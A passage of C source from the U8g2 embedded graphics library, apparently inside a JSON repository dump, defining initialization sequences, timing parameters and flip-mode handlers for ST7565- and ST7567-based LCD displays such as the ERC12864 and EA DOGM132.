U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n/*================================================*/\n/* https://github.com/olikraus/u8g2/issues/1314 */\n/* KS0713 controller, takeover from LM6059 */\n\nstatic const uint8_t u8x8_d_st7565_ks0713_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             /* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0e2),            \t\t\t /* soft reset */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_C(0x026),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_CA(0x081, 0x010),\t\t       /* set contrast, contrast value, EA default: 0x016 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_ks0713(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_ks0713_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_zflip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* LX12864 issue 576 */\n\nstatic const uint8_t u8x8_d_st7565_lx12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x060),\t\t                /* set display start line to ... */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  //U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature) */\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x008),\t\t/* set contrast, contrast value */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7565_lx12864_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 1,\t/* not sure... */\n  /* flipmode_x_offset = */ 3,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7565_lx12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lx12864_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lx12864_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* ERC12864-1 (buydisplay.com) */\n\nstatic const uint8_t u8x8_d_st7565_erc12864_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to ... */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  //U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature)*/\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x018),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_st7565_erc12864_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 16,\t\t/* width of 16*8=128 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 4,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7565_erc12864(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_erc12864_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_erc12864_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n\n\n/*================================================*/\n/* ERC12864-1 alternative version, suggested in issue 790 */\n\nstatic const uint8_t u8x8_d_st7565_erc12864_alt_init_seq[] = {\n\n\n  // original sequence \n  \n  // U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  // U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  // U8X8_C(0x0ae),\t\t                /* display off */\n  // U8X8_C(0x040),\t\t                /* set display start line to ... */\n  \n  // U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  // U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  // U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  // U8X8_C(0x0a3),\t\t                /* LCD bias 1/9 */\n  // U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  // U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature)*/\n  // U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  // U8X8_CA(0x081, 0x018),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  // U8X8_C(0x0ae),\t\t                /* display off */\n  // U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  // U8X8_END_TRANSFER(),             \t/* disable chip */\n  // U8X8_END()             \t\t\t/* end of sequence */\n  \n\n\n  // suggested in https://github.com/olikraus/u8g2/issues/790\n  \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to ... */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 - *** Changed by Ismail - was 0xa3 - 1/7 bias we were getting dark pixel off */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature)*/\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x05),\t\t       /* set contrast, contrast value, EA default: 0x016 - *** Changed by Ismail to 0x05 */ \n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n  \n};\n\n\nuint8_t u8x8_d_st7565_erc12864_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_erc12864_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_erc12864_alt_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n\n\n/*================================================*/\n/* NT7534, TG12864R */\n/* The NT7534 has an extended command set for the ST7565, however this is not used. */\n/* The TG12864R display is also shifted in lines, like the LM6059/Adafruit display */\n/* However contrast seems to be different */\n\nstatic const uint8_t u8x8_d_nt7534_tg12864r_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x060),\t\t                /* set display start line to ... */\n  \n  U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c8),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c0),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on (regulator, booster and follower) */\n  //U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x (ST7567 feature)*/\n  U8X8_C(0x027),\t\t                /* set V0 voltage resistor ratio to max  */\n  U8X8_CA(0x081, 0x009),\t\t/* set contrast, contrast value, EA default: 0x016 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_nt7534_tg12864r(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\t/* reuse the LM6059 data structure... this display seems to have similar shifts and offsets */\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_lm6059_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n      \n\t//u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_lm6059_init_seq);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_nt7534_tg12864r_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n\n\n/*================================================*/\n/* EA DOGM132 */\n\nstatic const u8x8_display_info_t u8x8_st7565_dogm132_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* st7565 datasheet, table 26, tcsh */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* st7565 datasheet, table 26, tcss */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* st7565 datasheet, table 26, tsds */\n  /* sck_pulse_width_ns = */ 120,\t/* half of cycle time (100ns according to datasheet), AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 4000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* st7565 datasheet, table 24, tds8 */\n  /* write_pulse_width_ns = */ 80,\t/* st7565 datasheet, table 24, tcclw */\n  /* tile_width = */ 17,\t\t/* width of 16*8=136 pixel */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 132,\n  /* pixel_height = */ 32\n};\n\n\nstatic const uint8_t u8x8_d_st7565_dogm132_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a2),\t\t                /* LCD bias 1/9 */\n  U8X8_C(0x02f),\t\t                /* all power  control circuits on */\n  U8X8_CA(0x0f8, 0x000),\t\t/* set booster ratio to 4x */\n  U8X8_C(0x023),\t\t                /* set V0 voltage resistor ratio to large*/\n  U8X8_CA(0x081, 0x01f),\t\t/* set contrast, contrast value EA DOGM132 */\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nuint8_t u8x8_d_st7565_ea_dogm132(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  /* call common procedure first and handle messages there */\n  if ( u8x8_d_st7565_common(u8x8, msg, arg_int, arg_ptr) == 0 )\n  {\n    /* msg not handled, then try here */\n    switch(msg)\n    {\n      case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\tu8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7565_dogm132_display_info);\n\tbreak;\n      case U8X8_MSG_DISPLAY_INIT:\n\tu8x8_d_helper_display_init(u8x8);\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7565_dogm132_init_seq);\n\tbreak;\n      case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n\tif ( arg_int == 0 )\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip0_seq);\n\t  u8x8->x_offset = u8x8->display_info->default_x_offset;\n\t}\n\telse\n\t{\n\t  u8x8_cad_SendSequence(u8x8, u8x8_d_st7565_flip1_seq);\n\t  u8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n\t}\t\n\tbreak;\n      default:\n\treturn 0;\t\t/* msg unknown */\n    }\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_st7567.c",
    "content": "/*\n\n  u8x8_d_st7567.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  \n  ST7567: 65x132 controller\n\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t u8x8_d_st7567_132x64_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a4),\t\t                /* all pixel off, issue 142 */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_132x64_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_132x64_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_132x64_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_n_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_st7567_n_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n\n/*=====================================================*/\n\n\nstatic const u8x8_display_info_t u8x8_st7567_132x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 150,\t/* */\n  /* pre_chip_disable_wait_ns = */ 50,\t/* */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 1, \n  /* sda_setup_time_ns = */ 50,\t\t/* */\n  /* sck_pulse_width_ns = */ 120,\t/* */\n  /* sck_clock_hz = */ 4000000UL,\t/* */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\t/* */\n  /* write_pulse_width_ns = */ 80,\t/* */\n  /* tile_width = */ 17,\t\t/* width of 17*8=136 pixel */\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 132,\n  /* pixel_height = */ 64\n};\n\nstatic const uint8_t u8x8_d_st7567_132x64_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  U8X8_C(0x0e2),            \t\t\t/* soft reset */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x040),\t\t                /* set display start line to 0 */\n  \n  U8X8_C(0x0a1),\t\t                /* ADC set to reverse */\n  U8X8_C(0x0c0),\t\t                /* common output mode */\n  // Flipmode\n  //U8X8_C(0x0a0),\t\t                /* ADC set to reverse */\n  //U8X8_C(0x0c8),\t\t                /* common output mode */\n  \n  U8X8_C(0x0a6),\t\t                /* display normal, bit val 0: LCD pixel off. */\n  U8X8_C(0x0a3),\t\t                /* LCD bias 1/7 */\n  /* power on sequence from paxinstruments */\n  U8X8_C(0x028|4),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|6),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  U8X8_C(0x028|7),\t\t                /* all power  control circuits on */\n  U8X8_DLY(50),\n  \n  U8X8_C(0x026),\t\t                /* v0 voltage resistor ratio */\n  U8X8_CA(0x081, 0x027),\t\t/* set contrast, contrast value*/\n  \n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_C(0x0a5),\t\t                /* enter powersafe: all pixel on, issue 142 */\n   \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n/* pax instruments 132x64 display */\nuint8_t u8x8_d_st7567_pi_132x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7567_132x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_st7567_132x64_flip0_seq);\n\tu8x8->x_offset = 